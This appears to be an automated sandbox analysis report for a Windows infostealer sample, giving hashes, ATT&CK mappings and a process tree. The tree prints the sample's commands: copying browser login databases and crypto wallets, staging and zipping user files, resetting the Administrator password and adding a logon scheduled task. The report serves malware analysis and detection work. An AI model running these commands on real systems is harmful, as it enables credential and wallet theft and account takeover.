62ba9639ef75606548755a259103e83f0ec1464b0f05c6f02fe5e35990de02c0

Analysis

max time kernel
148s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/09/2026, 09:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe
Size 808KB
Sample260913-lsv59aaa47
SHA256 62ba9639ef75606548755a259103e83f0ec1464b0f05c6f02fe5e35990de02c0
MD5 d5d17b986fb728e4340968e603256974
SHA1 9752755518c4f303c2d419563be71b5d9b7a3552
SHA512 d75e661184be78b951f953c6984ee753f7d2b8359a41873c1cb7891894357250701cd26fabd69706ec261cdbcf5a836471c45a7ddad70ca83207068364566daf
SSDEEP 12288:ayzx0W0dvt5S6JMSQldt+FjFR8O3ykvS9Wug:r10WolM6JMSQIhFR8hb
TLSH
T1C0059E6167D803E2E077C27D89D98A9AE6B2B4040730ABC706E452993F33FE55E3E715
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
2	api.ipify.org

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1296	powershell.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1028	cmd.exe
4432	cmd.exe
6076	cmd.exe
2912	cmd.exe
4728	cmd.exe
4632	cmd.exe
6120	cmd.exe
5824	cmd.exe
5388	cmd.exe
1324	cmd.exe
4612	cmd.exe
3248	cmd.exe
1992	cmd.exe
2220	cmd.exe
1828	cmd.exe
3024	cmd.exe
4752	cmd.exe
4464	cmd.exe
1004	cmd.exe
5512	cmd.exe
5668	cmd.exe
5172	cmd.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1296	powershell.exe
1296	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 3248	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	87
PID 3248 wrote to memory of 4840	3248	cmd.exe	89
PID 3912 wrote to memory of 5388	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	90
PID 5388 wrote to memory of 1972	5388	cmd.exe	92
PID 3912 wrote to memory of 1992	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	93
PID 1992 wrote to memory of 2524	1992	cmd.exe	95
PID 3912 wrote to memory of 5512	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	96
PID 5512 wrote to memory of 6112	5512	cmd.exe	98
PID 3912 wrote to memory of 2912	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	99
PID 2912 wrote to memory of 4704	2912	cmd.exe	101
PID 3912 wrote to memory of 5668	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	102
PID 5668 wrote to memory of 2316	5668	cmd.exe	104
PID 3912 wrote to memory of 2220	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	105
PID 2220 wrote to memory of 3440	2220	cmd.exe	107
PID 3912 wrote to memory of 4728	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	108
PID 4728 wrote to memory of 6008	4728	cmd.exe	110
PID 3912 wrote to memory of 1828	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	111
PID 1828 wrote to memory of 4228	1828	cmd.exe	113
PID 3912 wrote to memory of 5172	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	114
PID 5172 wrote to memory of 3384	5172	cmd.exe	116
PID 3912 wrote to memory of 1028	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	117
PID 1028 wrote to memory of 3368	1028	cmd.exe	119
PID 3912 wrote to memory of 1324	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	120
PID 1324 wrote to memory of 1648	1324	cmd.exe	122
PID 3912 wrote to memory of 3024	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	123
PID 3024 wrote to memory of 6096	3024	cmd.exe	125
PID 3912 wrote to memory of 4752	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	126
PID 3912 wrote to memory of 4632	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	128
PID 3912 wrote to memory of 6120	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	130
PID 3912 wrote to memory of 4464	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	132
PID 4464 wrote to memory of 5852	4464	cmd.exe	134
PID 3912 wrote to memory of 1004	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	135
PID 1004 wrote to memory of 5560	1004	cmd.exe	137
PID 3912 wrote to memory of 4432	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	138
PID 4432 wrote to memory of 2076	4432	cmd.exe	140
PID 3912 wrote to memory of 4612	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	141
PID 4612 wrote to memory of 1296	4612	cmd.exe	143
PID 3912 wrote to memory of 2876	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	144
PID 3912 wrote to memory of 5824	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	146
PID 5824 wrote to memory of 3768	5824	cmd.exe	148
PID 3768 wrote to memory of 3560	3768	net.exe	149
PID 3912 wrote to memory of 6076	3912	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	150
PID 6076 wrote to memory of 4756	6076	cmd.exe	152

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.docx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.docx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.pdf" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.pdf" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:1972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.txt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.txt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:2524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.xlsx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5512
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.xlsx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:6112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.jpg" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.jpg" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.png" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5668
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.png" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:2316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.zip" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.zip" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:3440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.rar" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.rar" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.7z" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.7z" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.doc" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.doc" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.xls" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.xls" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.ppt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.ppt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:1648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.pptx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.pptx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:6096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\chrome_logins.db" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\edge_logins.db" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\logins.json" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\firefox_logins.json" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\AppData\Roaming\Bitcoin\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Bitcoin\" /E /Y /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\AppData\Roaming\Bitcoin\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Bitcoin\" /E /Y /C /Q
    3⤵
    PID:5852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\AppData\Roaming\Ethereum\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Ethereum\" /E /Y /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\AppData\Roaming\Ethereum\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Ethereum\" /E /Y /C /Q
    3⤵
    PID:5560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\AppData\Roaming\Exodus\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Exodus\" /E /Y /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\AppData\Roaming\Exodus\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Exodus\" /E /Y /C /Q
    3⤵
    PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\logs.zip' -Force"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\logs.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\"
  2⤵
  PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user Administrator SpaceBerqLock2026
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5824
- - C:\Windows\system32\net.exe
    net user Administrator SpaceBerqLock2026
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3768
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Administrator SpaceBerqLock2026
      4⤵
      PID:3560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "ElitraUpdater" /tr "%TEMP%\elitra_updater.exe" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "ElitraUpdater" /tr "C:\Users\Admin\AppData\Local\Temp\elitra_updater.exe" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info.txt

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\info.txt
Size 65B
SHA256 59d3afef213263430e898591216a0f4fb709f980106afac2483cfbfb6b759a56
MD5 8816c117700ba49a90e2324acd73e530
SHA1 1fdaf6e8fcc16eb3f0146df73cff392ac294db8d
SHA512 25d13da7b7cc153fa3c4efded6f8c2848104eefb3427ad635545af2ad3481c316b8a5b34fa24685e0fa7e67615518ab719f784cbf90f88e82af76806dc382315
TLSH
T197A022A8003038022330A0080C03C20300C8A233200200302C0800E0AC000330082080
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.bmp

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\screenshot.bmp
Size 7.9MB
SHA256 390bae7ad57086d59136d9f48dac361ce58924519c20bb690fd49b8f95fb7f53
MD5 a89f673b6a25fb9d2e6fa200bdd6a175
SHA1 d32539222c3c9f666e89f5b218620f3a573ba7c3
SHA512 858e9e08d90481d6e90f724e96a9ec6820d3c2e8739f1ed98fdcfc1849337d08fa1a998e48fecc6f1b42d8a601be69e5141b8f5cf84f95d07247c335c0078cac
SSDEEP 196608:bsi/W/cZHkPvWAzmjXHAVZ0CFOdukTXDjRTEVi+EUS0SFoRLzMvfb6f/B4oj6NMQ:bsi/W/cZHkPvWAzmjXHAVZ0CFOdukTXl
TLSH
T19586F7697B085C199C33B7D06886A1F8042C0ECEE795C3A8A977AB93FFD1C145EDB191
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logs.zip

Path C:\Users\Admin\AppData\Local\Temp\logs.zip
Size 1.1MB
SHA256 4b94d77d4e0ef6b7105767da0e40cdb0bd2a5629b6fe039908d0c638ac0a063f
MD5 49b17ec68384c29b71c82625973e8fd0
SHA1 c9f115f24160dcb21268f015b49456968e12c458
SHA512 5c6df4b8f29f2d7469a43b3faff4e491f1799a0334faf8abaf3f66f2d0074456bda7d7a40c24823428f060b00764fdcc1376020d65714e455a3f2915de9e1850
SSDEEP 24576:eiaHIpUiniPi+U00fkPmftuCM9uABZPTE6s9S3txcQugcddu0Y:ei6IpUiikOm0AOZPEAdxpcZY
TLSH
T15F452348FCA5C496EFC614BD999A2FB1429420475EB00E4FDAF6BB648CC7F381DD811A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1296-17-0x000002047CA70000-0x000002047CA92000-memory.dmp

Download

memory/1296-20-0x000002047CB30000-0x000002047CB4E000-memory.dmp

Download

memory/1296-21-0x000002047CDA0000-0x000002047CE52000-memory.dmp

Download

memory/1296-22-0x000002047CB50000-0x000002047CB5A000-memory.dmp

Download

memory/1296-24-0x000002047CB30000-0x000002047CB3A000-memory.dmp

Download

memory/1296-23-0x000002047CB40000-0x000002047CB52000-memory.dmp

Download

memory/3912-0-0x00007FF76C0D0000-0x00007FF76C1EB000-memory.dmp

Download

memory/3912-36-0x00007FF76C0D0000-0x00007FF76C1EB000-memory.dmp

Download